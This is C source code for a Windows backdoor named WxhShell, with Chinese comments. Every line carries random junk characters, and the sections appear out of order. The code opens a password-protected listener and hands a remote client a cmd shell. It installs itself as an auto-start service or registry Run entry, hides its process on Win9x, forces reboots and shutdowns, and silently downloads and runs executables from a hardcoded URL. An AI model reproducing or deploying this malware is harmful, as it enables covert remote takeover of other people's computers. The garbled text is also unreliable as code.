    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ytz SAbj  
    if(Boot(SHUTDOWN)) FT.,%2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Ic`,>XM  
    else { | ?yo 3  
    closesocket(wsh); jS.g]k  
    ExitThread(0);  \ %=9  
    } F {+`uG  
    break; r?/A?DMe  
    } <#M`5X.  
  // 获取shell G:W>I=^DaR  
  case 's': { 'heJ"k?  
    CmdShell(wsh); `J0i.0p  
    closesocket(wsh); ^|!I +  
    ExitThread(0); 6w[}&pX"z  
    break; j*v40mXl`2  
  } ? "/ fPV-  
  // 退出 Iu@y(wyg  
  case 'x': { -r7]S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SqA J-_~  
    CloseIt(wsh); A{eLl  
    break; +rXF{@ l  
    } E Y<8B3y  
  // 离开 sP@X g;]  
  case 'q': { Lw1EWN6}_&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .|qK +Hnc  
    closesocket(wsh); h}`!(K^;3  
    WSACleanup(); P>ceeoYQuA  
    exit(1); H*^\h?s  
    break; H( jXI  
        } 4mjgt<`  
  } Y-mK+1 2  
  } LhXUm  
WLa!.v>  
  // 提示信息 %+>s#Q2d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "syh=BC v  
}  p?D2)(  
  } <*!i$(gn  
U9y|>P\)T  
  return; JA)?p{j  
} tR0pH8?e"  
V r(J+1@  
// shell模块句柄 ?~"bR%  
int CmdShell(SOCKET sock) GNf482  
{ fWc|gq  
STARTUPINFO si; ;22l"-F  
ZeroMemory(&si,sizeof(si)); l>gI&1)%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xT&(n/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cJo\#cr  
PROCESS_INFORMATION ProcessInfo; ^9OUzTF  
char cmdline[]="cmd"; w%AcG~`j!B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KlV:L 4a~  
  return 0; C?ib_K*  
} 1"7Sy3  
xkNyvqcw  
// 自身启动模式 )n49lr6 X  
int StartFromService(void) :A %^^F%  
{ 5!YA o\S  
typedef struct %CwL:.|  
{ n% 'tKU\q  
  DWORD ExitStatus; Pi,QHb`>  
  DWORD PebBaseAddress; 2kAx>R  
  DWORD AffinityMask; S{4z?Ri, '  
  DWORD BasePriority; uwf 5!Z:>  
  ULONG UniqueProcessId; Hs?e0Z=N  
  ULONG InheritedFromUniqueProcessId; E!BPE>  
}   PROCESS_BASIC_INFORMATION; 7]xm2CHx5  
]M/9#mD9~  
PROCNTQSIP NtQueryInformationProcess; RIu~ @  
hz;|NW{u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z/x*Y#0@n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E:zF/$tG  
p.}Ls)I  
  HANDLE             hProcess; ]5~s "fnG  
  PROCESS_BASIC_INFORMATION pbi; \!IMaB]  
2sNK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bNFLO Q  
  if(NULL == hInst ) return 0; taGU  
G22NQ~w8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UJ-?k &j,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6u`F d#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F' U 50usV  
|@,|F:h<M  
  if (!NtQueryInformationProcess) return 0; NK|?y  
/525w^'pd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p4IZ   
  if(!hProcess) return 0; t }IkK=f  
ZyOv.,y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dm-pxE "  
/>'V!iWyz  
  CloseHandle(hProcess); ;.xoN|Per  
|qZko[W}=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b'MSkEiQG  
if(hProcess==NULL) return 0; Wg{k$T_>  
Go,N>HN  
HMODULE hMod; WN(ymcdYB  
char procName[255]; h)~=Dm  
unsigned long cbNeeded; m)V/L]4  
f\'{3I29  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !O\;Nua  
N#lDW~e'  
  CloseHandle(hProcess); 'r(1Nj  
-a*K$rnB  
if(strstr(procName,"services")) return 1; // 以服务启动 DD" $1o"  
1/p*tZP8i  
  return 0; // 注册表启动 {G <kA(Lm  
} s yU9O&<  
Kp+CH7I*  
// 主模块 Rqwzh@}  
int StartWxhshell(LPSTR lpCmdLine) ,q(&)L$S  
{ b jAnaya  
  SOCKET wsl; ThPE 0V  
BOOL val=TRUE; >!_Xgw  
  int port=0; ]9}HEu;1M  
  struct sockaddr_in door; tm7u^9]  
sr@j$G#uW5  
  if(wscfg.ws_autoins) Install(); r{L4]|(utY  
%uv?we7  
port=atoi(lpCmdLine); u%'\UmE w  
.2J L$"  
if(port<=0) port=wscfg.ws_port; VMoSLFp^R  
jx acg^c  
  WSADATA data; G=;k=oX(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?"?6,;F(4  
Z3[S]jC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,=?{("+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "[}O"LTQ  
  door.sin_family = AF_INET; V\(:@0"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )%!XSsY.N|  
  door.sin_port = htons(port); u?s VcD[  
ng:Q1Q9N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wts=[U`(  
closesocket(wsl); :xKcpY[{  
return 1; + [Hh,I7  
} g$dsd^{O7  
;3_l@dP"  
  if(listen(wsl,2) == INVALID_SOCKET) { .z13 =yv  
closesocket(wsl); 52upoU>}2  
return 1; e #/E~r&  
} '!f5?O+E  
  Wxhshell(wsl); p4VeRJk%  
  WSACleanup(); zhY+x<-  
*T0q|P~o%  
return 0; /?'; nGq  
'zh7_%  
} NBb6T V}j  
s,a}?W  
// 以NT服务方式启动 ^5r9 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sg E-`#  
{ s+:=I e  
DWORD   status = 0; =2w4C_  
  DWORD   specificError = 0xfffffff; pm{|?R  
eAPXWWAZJ1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~ ihI_q"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,vW:}&U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lI>SUsQFfm  
  serviceStatus.dwWin32ExitCode     = 0; a<]B B$~  
  serviceStatus.dwServiceSpecificExitCode = 0; g/13~UM\  
  serviceStatus.dwCheckPoint       = 0; *,BzcZ  
  serviceStatus.dwWaitHint       = 0; *%KKNT'*  
+l=r#JF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mZ1)wH,  
  if (hServiceStatusHandle==0) return; %LYnxo7#C  
xq"Jy=4Q*  
status = GetLastError(); A)ipFB 6K  
  if (status!=NO_ERROR) u.rY#cS,-R  
{ wf1lyS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &~CY]PN.  
    serviceStatus.dwCheckPoint       = 0; ePIiF_X  
    serviceStatus.dwWaitHint       = 0; _=|vgc  
    serviceStatus.dwWin32ExitCode     = status; l7De6A"  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fd*8N8Pi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M:5b4$Qh<  
    return; C* nB  
  } 'mV9{lj7E  
If%/3UJ@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z4IgBn(Z_}  
  serviceStatus.dwCheckPoint       = 0; #nh|=X  
  serviceStatus.dwWaitHint       = 0; 1 hg}(Hix  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JmEj{K<3I  
} F:mq'<Q  
BL&LeSa  
// 处理NT服务事件,比如:启动、停止 7t.!lh5G%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,]b~t0|B  
{ ZoArQ(YFy  
switch(fdwControl) h;3cd0  
{ ytNO*XoR  
case SERVICE_CONTROL_STOP: &HSq(te  
  serviceStatus.dwWin32ExitCode = 0; vzmc}y G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x`6<m!d`  
  serviceStatus.dwCheckPoint   = 0; -\#0]F:-  
  serviceStatus.dwWaitHint     = 0; r_;9' #&'  
  { /rSH"$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ks}Xgc\  
  } TwgrRtj'  
  return; :_QCfH  
case SERVICE_CONTROL_PAUSE: ^wS5>lf7p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LY+|[qka  
  break; |*`Z*6n  
case SERVICE_CONTROL_CONTINUE: 0?>dCu\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c&L"N!4z  
  break; d:yqj:  
case SERVICE_CONTROL_INTERROGATE: ~Ch+5A;  
  break; NzNA>[$[  
}; aN(|'uO@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qoAj] ")  
} c_elShK8#  
\rPbK+G.  
// 标准应用程序主函数 O(_[ayE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &5: tn=E  
{ B-l'vVx  
^n+!4(@=  
// 获取操作系统版本 [k-+AA>:  
OsIsNt=GetOsVer(); B2ec@]uD`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 36am-G  
p0pWzwTG3  
  // 从命令行安装 @}kv-*  
  if(strpbrk(lpCmdLine,"iI")) Install(); xC tmXo  
*_?dVhxf  
  // 下载执行文件 0:b2(^]bg  
if(wscfg.ws_downexe) { RVeEkv[qp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v%ioj0,  
  WinExec(wscfg.ws_filenam,SW_HIDE); @]ao"ui@/  
} : "1XPr  
+o9":dl  
if(!OsIsNt) { ~,*b }O  
// 如果时win9x,隐藏进程并且设置为注册表启动 @'GGm#<   
HideProc(); ]7e =fM9V;  
StartWxhshell(lpCmdLine); uIZWO.OdU  
} <ZB1Vi9}8  
else -I=l8m6L  
  if(StartFromService()) !>1@HH?I\/  
  // 以服务方式启动 E4hLtc^ +  
  StartServiceCtrlDispatcher(DispatchTable); 5<w g 8y  
else 9*a=iL*Nw  
  // 普通方式启动 h9eMcCU  
  StartWxhshell(lpCmdLine); 5ls6t{Ci  
-{ZWo:,r~q  
return 0; 0tU.(  
} QV\eMuNy  
` Jdb;  
~s5SZK*  
RSo& (Uv  
=========================================== 9:M` j  
^_m9KA  
1/"WD?a  
y:6; LZ9[  
_8E/) M  
&%-73nYw  
" N ,z6y5Lu  
!/wtYI-`  
#include <stdio.h> mrw=T.  
#include <string.h> *M"}z  
#include <windows.h> h2D>;k  
#include <winsock2.h> %V nbmoO  
#include <winsvc.h> >FkWH7  
#include <urlmon.h> /bVoErf  
XcjRO#s\  
#pragma comment (lib, "Ws2_32.lib") 0L/n?bf  
#pragma comment (lib, "urlmon.lib") CvD "sHVq%  
q|),`.eh\  
#define MAX_USER   100 // 最大客户端连接数 Q@HopiC  
#define BUF_SOCK   200 // sock buffer V 0rZz  
#define KEY_BUFF   255 // 输入 buffer =&:Y6XP  
v;ZA 4c  
#define REBOOT     0   // 重启 ?5 {>;#0Z  
#define SHUTDOWN   1   // 关机 yNbjoFM.i  
)>Yu!8i  
#define DEF_PORT   5000 // 监听端口 xKho1Z  
GI1  
#define REG_LEN     16   // 注册表键长度 R~6$oeWAw  
#define SVC_LEN     80   // NT服务名长度 c??mL4$'N  
hzvd t  
// 从dll定义API `V04\05  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RVQh2'w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &e!7Z40w@&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SBS3?hw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bR)(H%I  
{Ja!~N;3  
// wxhshell配置信息 1|jt"Hz  
struct WSCFG { ?pd8w#O  
  int ws_port;         // 监听端口 ^t#&@-'(d  
  char ws_passstr[REG_LEN]; // 口令 $\U 4hHOo  
  int ws_autoins;       // 安装标记, 1=yes 0=no c-0#w=  
  char ws_regname[REG_LEN]; // 注册表键名 >o=-$gz`  
  char ws_svcname[REG_LEN]; // 服务名 ^=-y%kp"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sb82}$sO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {.INnFGP@)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qr{E[6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @nCd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +csi[c)3E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #%h-[/  
#e$5d>j(  
}; *vwbgJG! *  
73\JwOn~  
// default Wxhshell configuration >: g3k  
struct WSCFG wscfg={DEF_PORT, R)m'lMi|  
    "xuhuanlingzhe", D-._z:_  
    1, +O?KNZ  
    "Wxhshell", 7](KV"%V  
    "Wxhshell", Xx>X5Fy  
            "WxhShell Service", pW J Fz-  
    "Wrsky Windows CmdShell Service", V: TM]  
    "Please Input Your Password: ", L bmawi^  
  1, JVSA&c%3  
  "http://www.wrsky.com/wxhshell.exe", ybKWOp:O  
  "Wxhshell.exe" "[ZB+-|[0  
    }; /x p|  
}xh$T'M8  
// 消息定义模块 oc>{?.^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B e0ND2oo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _dhgAx-H)h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !*B'?|a<\  
char *msg_ws_ext="\n\rExit."; ) u`[6,d  
char *msg_ws_end="\n\rQuit."; y1+*6|  
char *msg_ws_boot="\n\rReboot..."; z?*w8kU&>  
char *msg_ws_poff="\n\rShutdown..."; N@Uy=?)ZJ  
char *msg_ws_down="\n\rSave to "; ?b>,9A.Z  
IHv[v*4:  
char *msg_ws_err="\n\rErr!"; 9^#c| 0T  
char *msg_ws_ok="\n\rOK!"; 7%|~>  
Eu@huN*/  
char ExeFile[MAX_PATH]; Oagsoik  
int nUser = 0; c2'Lfgx4  
HANDLE handles[MAX_USER]; #W.#Hjpp  
int OsIsNt; 2Tp1n8FV  
M:[ %[+6  
SERVICE_STATUS       serviceStatus; I7n"&{s"*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; naR0@Q"\h  
+{f:cea (1  
// 函数声明 @a0DT=>dT  
int Install(void); (G;l x  
int Uninstall(void); U`NjPZe5^  
int DownloadFile(char *sURL, SOCKET wsh); p o2!  
int Boot(int flag); %D%8^Zd_  
void HideProc(void); a C\MJ9  
int GetOsVer(void); OX?\<),  
int Wxhshell(SOCKET wsl); zGkS^Z=(  
void TalkWithClient(void *cs); |8l<$J  
int CmdShell(SOCKET sock); @v)p<r^M">  
int StartFromService(void); :2rZcoNb.  
int StartWxhshell(LPSTR lpCmdLine); }o?APvd  
S79;^X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 09hn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I%j|D#qY:T  
PIoLywpRn  
// 数据结构和表定义 VyXhl;  
SERVICE_TABLE_ENTRY DispatchTable[] = fY51:0{  
{ &;[Io  
{wscfg.ws_svcname, NTServiceMain}, 2j}\3Pi  
{NULL, NULL} yy i#Mo ,  
}; _M`--.{\O[  
F`XP@Xx  
// 自我安装 `tA" }1;ka  
int Install(void) "8x8UgG  
{ iXVe.n  
  char svExeFile[MAX_PATH]; xqG[~)~  
  HKEY key; *U,@q4  
  strcpy(svExeFile,ExeFile); :*Z4yx  
4gz H8sF  
// 如果是win9x系统,修改注册表设为自启动 %\dz m-d(C  
if(!OsIsNt) { <66X Xh.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7e|s wJ>4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0zlb0[  
  RegCloseKey(key); q1"$<# t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F@'Jbd`   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BW}U%B^.  
  RegCloseKey(key); qG?Qc (  
  return 0; !Sh&3uy_qN  
    } >,$_| C  
  } z"-u95H  
} D%OQ e#!  
else { r%yvOF\>  
~=6xyc/c  
// 如果是NT以上系统,安装为系统服务 CY s,`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fzb29 -  
if (schSCManager!=0) jET{Le8i  
{ [65 `$x-  
  SC_HANDLE schService = CreateService ~962i#&4  
  ( ao1(]64X"  
  schSCManager, 8*#R]9  
  wscfg.ws_svcname, s%nUaWp~  
  wscfg.ws_svcdisp, RI 5yF  
  SERVICE_ALL_ACCESS, k;AD`7(=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Sq/ qu-%X  
  SERVICE_AUTO_START, vNV/eB8#S  
  SERVICE_ERROR_NORMAL, `.~N4+SP  
  svExeFile, Rg\z<wPBG  
  NULL, fk6%XO  
  NULL, Pq;U &,  
  NULL, )wam8k5  
  NULL, &:9c AIe]H  
  NULL  *'.|9W  
  ); `scR*]f1+  
  if (schService!=0) #~}nFY.  
  { zZPuha8  
  CloseServiceHandle(schService); e6R}0w~G  
  CloseServiceHandle(schSCManager); _~IR6dKE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "7'J &^|  
  strcat(svExeFile,wscfg.ws_svcname); R_W+Ylob  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n'wU;!W9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GK )?YM  
  RegCloseKey(key); 8_BV:o9kL  
  return 0; J>wt (] y  
    } [YF>:ydk  
  } ;f0I 8i,JN  
  CloseServiceHandle(schSCManager); "pi=$/RD9  
} ]HKQDc'  
} c }Ft^Il  
OE_XCZ!5P  
return 1; C%$edEi  
} [')m|u~FS4  
"CSsCA$/  
// 自我卸载 #^l L5=  
int Uninstall(void) QUq_:t+Dv  
{ h58`XH  
  HKEY key; Zd^rNHhA  
s @&`f{  
if(!OsIsNt) { rdl;M>0@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y I HXg#  
  RegDeleteValue(key,wscfg.ws_regname); AK,J7  
  RegCloseKey(key); 4IB9 ,?p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #I{h\x><?  
  RegDeleteValue(key,wscfg.ws_regname); :1cV;gJ  
  RegCloseKey(key); gn8R[5:!V  
  return 0; 8'r2D+Vwm  
  } T6O::o6  
} |%F=po>w  
} ~P*6ozSYpY  
else { b3&zjjQ  
9_L[w\P|4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |{BIHgMh  
if (schSCManager!=0) 5gH1.7i b  
{ @TLS<~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QwNly4  
  if (schService!=0) !O+) sbd<  
  { aE`c%T):`  
  if(DeleteService(schService)!=0) { _X^1IaL  
  CloseServiceHandle(schService); Q3n,)M[N  
  CloseServiceHandle(schSCManager); q-[@$9AS  
  return 0; !o5 W  
  } ^W`<gR  
  CloseServiceHandle(schService); 5A)2} D]  
  } |4)>:d  
  CloseServiceHandle(schSCManager); ;,C)!c&  
} WZ-s--n#  
} 0t^M3+nc  
?J%1#1L"/  
return 1; 7]U"Z*  
} h;C5hU 4P  
L"E7#}  
// 从指定url下载文件 <;9 I@VYK  
int DownloadFile(char *sURL, SOCKET wsh) 0IwA#[m1`  
{ ?Nup1 !D  
  HRESULT hr; 2KB\1&N  
char seps[]= "/"; !*s?B L  
char *token; iqC|G/  
char *file; _7Rr=_1}  
char myURL[MAX_PATH]; `> 7; !  
char myFILE[MAX_PATH]; chcbd y>C  
14Xqn8uOW  
strcpy(myURL,sURL); 6_J$UBT  
  token=strtok(myURL,seps); ^Ew]uN>,  
  while(token!=NULL) 8UXjm_B^'  
  { @)UZ@ ~R  
    file=token; ^ssK   
  token=strtok(NULL,seps); lW+\j3?Z$  
  } :}Xll#.,m  
j| v%)A  
GetCurrentDirectory(MAX_PATH,myFILE); 5QW=&zI`=  
strcat(myFILE, "\\"); `_BNy=`s*  
strcat(myFILE, file); fL_4uC i\  
  send(wsh,myFILE,strlen(myFILE),0); #^`4DhQ/ 1  
send(wsh,"...",3,0); w,.+IV$Kk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "W=AB&  
  if(hr==S_OK) u8gS< \  
return 0; ;9[fonk  
else <LmIK  
return 1; O}+.U<V  
NO~*T?&  
} Uddr~2%(  
p31NIf `  
// 系统电源模块 >sfRI]OG  
int Boot(int flag) 4H,`]B8(D  
{ n(b(yXYm]  
  HANDLE hToken; 4~k\j  
  TOKEN_PRIVILEGES tkp; 6DM$g=/ '  
d:ARf  
  if(OsIsNt) { aH 4c02s$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E[2m&3&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N^#ZJoR  
    tkp.PrivilegeCount = 1; V^7V[(~`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bt"W(m&f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1e(E:_t  
if(flag==REBOOT) { qOe+ZAJ{%N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W}3.E "K  
  return 0; "8c@sHk(w  
} $&y%=-]|  
else { T?:Rdo!:u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u5O+1sZ"6  
  return 0; GS0;bI4ay  
} 5A%w 8Qv  
  } _76PIR{an  
  else { Ozw;(fDaU  
if(flag==REBOOT) { t`WB;o!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ||T2~Q*:y  
  return 0; 8 BY j  
} W 0(_ ~  
else { O*eby*%h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) | h`0u'#  
  return 0; AuUd e$l_  
} Y,GU%[+  
} _p# CwExuy  
TMAJb+@l:  
return 1; " W!M[qBW  
} Fw/6?:C}O6  
qd9cI&  
// win9x进程隐藏模块 vqnw#U4`  
void HideProc(void) Ipf|")*  
{ Da&vb D-Bg  
,LTH;<zB)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VGfMN|h  
  if ( hKernel != NULL ) d_AK `wR  
  { yW+yg{Gg:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `k=bL"T>\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {FO;Yg'  
    FreeLibrary(hKernel); N8!cO[3Oh  
  } {s)+R[?m<o  
q`|LRz&al  
return; p`mS[bxv!  
} ~3UQ|j  
{p)",)td  
// 获取操作系统版本 &J55P]7w  
int GetOsVer(void) R?v>Q` Qi  
{ B||*.`3gN  
  OSVERSIONINFO winfo; $ .C=H[QC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :@kGAI  
  GetVersionEx(&winfo); {_b%/eR1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =CK4.   
  return 1; 5j:0Yt  
  else w<C#Bka  
  return 0; h "Xg;(K  
} g+DzscIT  
_6_IP0;  
// 客户端句柄模块 uG?_< mun  
int Wxhshell(SOCKET wsl) $u7; TW6QD  
{ wi hH?~]  
  SOCKET wsh; aY3^C q(r  
  struct sockaddr_in client; 1)9sf0LyU  
  DWORD myID; j;']cWe  
lwHzj&/ ~  
  while(nUser<MAX_USER) +)kb(  
{ UUSq$~Ct  
  int nSize=sizeof(client); _6O\W%it  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bnm P{Ps  
  if(wsh==INVALID_SOCKET) return 1; D Gr> 2  
BsBK@+ZyI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {xwm^p(f  
if(handles[nUser]==0) ^w(p8G_-w  
  closesocket(wsh); s<*XN NE7  
else 0F@"b{&0  
  nUser++; EM]s/LD@%  
  } (>F%UY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SLO%7%>p  
;+0t;B!V  
  return 0; C2@,BCR  
} Ol1e/Wv  
=6woWlfb  
// 关闭 socket F4It/  
void CloseIt(SOCKET wsh) 4?0vso*X<:  
{ ">~.$Jp_4  
closesocket(wsh); 7Ok;Lt!x  
nUser--; .9R [ *<  
ExitThread(0); .nG#co"r}3  
} SPN5dE.@  
"vXxv'0\f  
// 客户端请求句柄 #rxVd 7f  
void TalkWithClient(void *cs) W"):-Wq  
{ !O-T0O   
W4hbK9y  
  SOCKET wsh=(SOCKET)cs; Z&0'a  
  char pwd[SVC_LEN]; N U|d  
  char cmd[KEY_BUFF]; UjaK&K+M?  
char chr[1]; Dpvk\t  
int i,j; JmPHAUd  
=jlt5 z  
  while (nUser < MAX_USER) { e "/;7:J5\  
]x\-$~E  
if(wscfg.ws_passstr) { eK.e| z|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j2Tr $gx<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >"gf3rioW  
  //ZeroMemory(pwd,KEY_BUFF); W4[V}s5u  
      i=0; )A!>=2M `  
  while(i<SVC_LEN) { (EK"V';   
OC1I&",Ai|  
  // 设置超时 u1t% (_h  
  fd_set FdRead; $SM# < @  
  struct timeval TimeOut; $tz;<M7B  
  FD_ZERO(&FdRead); )_{dWf1  
  FD_SET(wsh,&FdRead); $}lbT15a  
  TimeOut.tv_sec=8; t>1Z\lE\"  
  TimeOut.tv_usec=0; XD|E=s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x;-. ZVF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C3< m7h  
8i6Ps$T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v[#9+6P=  
  pwd=chr[0]; hfnN@Kg?B}  
  if(chr[0]==0xd || chr[0]==0xa) { hc~s"Atck  
  pwd=0; w:s]$:MA8  
  break; G:<`moKgL  
  } lrnyk(M}Q.  
  i++; 2rmSo&3@s  
    } M>&%(4K  
T _sTC)&a  
  // 如果是非法用户,关闭 socket :/:.Kb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8aO~/i:(.  
} an4GSL  
s4 6}s{6   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =:DaS`~V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D@.tkzU@E  
7h6,c/<  
while(1) { VUVaaOmO  
P8^hBv*  
  ZeroMemory(cmd,KEY_BUFF); {T4  
`VKf3&|<A  
      // 自动支持客户端 telnet标准   {z(xFrY  
  j=0; bA\<.d  
  while(j<KEY_BUFF) { YGv<VOWG2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &07]LF$]  
  cmd[j]=chr[0]; A$#p%y b  
  if(chr[0]==0xa || chr[0]==0xd) { 6fd+Q  /  
  cmd[j]=0; xZ|Y ?R5m  
  break; *GxTX3i}vc  
  } jov:]Bic  
  j++; }| J79s2M  
    } @) s,{F  
F;=4vS]\  
  // 下载文件 "`M?R;DH  
  if(strstr(cmd,"http://")) { >tO`r.5u9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nA P.^_K  
  if(DownloadFile(cmd,wsh)) L,mQ   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PH?#)l D  
  else } @K FB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hF@Gn/  
